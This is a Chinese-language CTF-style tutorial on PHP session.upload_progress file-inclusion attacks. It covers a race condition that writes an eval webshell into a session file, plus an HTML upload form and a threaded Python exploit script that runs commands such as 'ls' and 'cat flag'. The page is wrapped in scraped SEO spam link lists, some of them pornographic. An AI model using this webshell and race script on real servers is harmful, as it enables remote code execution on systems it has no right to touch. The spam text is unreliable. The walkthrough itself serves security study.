亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

使用session upload_progress實現文件包含實例詳解

瀏覽:111日期:2022-06-06 13:50:06
目錄
  • 前言
  • 基礎知識
    • session.upload_progress
  • 攻擊方法
    • 例題
      • 結語

        前言

        該思路是很久之前在CTF比賽中學習到的,可以簡單理解為利用session.upload_progress來進行文件競爭從而達到上傳文件進行文件包含或者命令執行的目的,可能大部分人會不理解,我們下面我們展開來講。

        基礎知識

        session.upload_progress

        首先我們要先學習什么是session.upload_progress,可以簡單理解為文件上傳進度,在php官方文檔里可以找到描述:

        在這里面有幾個很重要的函數,我們簡單看一下:

        session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

        第一個顯而易見是設定是否開啟該功能,第二個cleanup則是是否在上傳后刪除文件,第三個為設置前綴,第四個為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開啟以此來判斷能不能利用該漏洞。

        攻擊方法

        我們攻擊思路就是利用session.upload_progress來將木馬寫入到session里面,但這里有兩個問題:

        問題一:代碼里沒有session_start,我們如何創建session文件呢?

        首先我們先看看session里面有一個很重要的選項:

        session.use_strict_mode //默認值為off。

        我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會在服務器上創建一個文件:/tmp/sess_xino”。即使我們沒有初始化Session,PHP也會自動初始化Session。 并產生一個鍵值,這個鍵值由:

        ini.get("session.upload_progress.prefix")+由我們構造的session.upload_progress.name值組成

        最后被寫入sess_文件里。

        問題二:上面的cleanup設置會刪除數據,我們要如何防止數據被刪除呢?

        所以這里需要我們文件競爭不斷發包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

        之后我們即可進行文件包含或者RCE攻擊,總結一下該漏洞的利用條件:

        存在文件包含漏洞

        知道session文件存放路徑,可以嘗試默認路徑

        具有讀取和寫入session文件的權限

        下面給大家帶來一個例題。

        例題

        進入題目首先看看題目源碼:

        限制了我們很多東西,只能使用沒有后綴的文件進行文件包含所以想到通過session.upload_progress來進行文件包含,因為我們需要上傳一個東西,所以我們先寫一個簡單的文件上傳點:

        <!DOCTYPE html><html><body><form action="http://ctf" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>

        之后我們進行發包抓包然后重放,查看回顯成功后我們訪問/tmp/sess_flag,發現命令執行了:

        我們將之前發包文件里面的ls命令改為cat flag的文件名即可進行命令執行,也是抓包重放查看返回長度不一樣的包:

        如果不喜歡手動我這里從網上找了一個自動化腳本,大家也可以嘗試一下:

        import ioimport requestsimport threadingsessid = "FLAG"data = {"cmd":"system("ls");"}def write(session):    while True:f = io.BytesIO(b"a" * 1024 * 50)resp = session.post( "http://127.0.0.1/session.php", data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST["cmd"]);?>"}, files={"file": ("1.txt",f)}, cookies={"PHPSESSID": sessid} )def read(session):    while True:resp = session.post("http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_"+sessid,data=data)if "1.txt" in resp.text:    print(resp.text)    event.clear()else:    print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:for i in range(1,30):     threading.Thread(target=write,args=(session,)).start()for i in range(1,30):    threading.Thread(target=read,args=(session,)).start()    event.set()

        結語

        今天給大家帶來的是session.upload_progress文件包含漏洞,因為需要一些網絡安全基礎可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個現成的靶機去嘗試一下,更多關于session upload_progress文件包含的資料請關注其它相關文章!

        標簽: PHP
        主站蜘蛛池模板: 国产成人国产在线观看入口 | 中文字幕日韩高清版毛片 | 一个色综合网 | 亚洲国产欧美一区 | 小明视频免费永久在线网 | 亚洲精品第五页中文字幕 | 日韩一级片免费看 | 国产日韩欧美综合在线 | 91免费精品国偷自产在线在线 | 成人免费黄色网址 | 婷婷色香五月激情综合2020 | 免费人成激情视频在线看 | 国产精品人人爱一区二区白浆 | 国产v综合v亚洲欧美大另类 | 成人国产在线不卡视频 | 免费毛片视频 | 在线观看黄免费 | 韩国不卡1卡2卡三卡网站 | 色噜噜国产精品视频一区二区 | 一本一道久久综合狠狠老 | 国产真实乱人视频在线看 | 深夜爽爽福利gif在线观看 | 中国明星一级毛片免费 | 99视频精品全部免费免费观 | sese综合| 亚洲欧美日韩精品久久奇米色影视 | 成人午夜国产福到在线不卡 | 在线免费观看网站 | 四川丰满护士毛茸茸 | 欧美特黄一级aa毛片 | 国产精品成人va在线观看 | 国产成人一区二区三区高清 | 国产高清一区 | 91人人视频国产香蕉 | 亚洲黄网在线播放高清 | 蝌蚪91视频 | 最新91视频 | 一级特黄aaa大片免费看 | 国产亚洲情侣一区二区无 | 一级毛片一级毛片a毛片欧美 | 欧美精品在线免费 |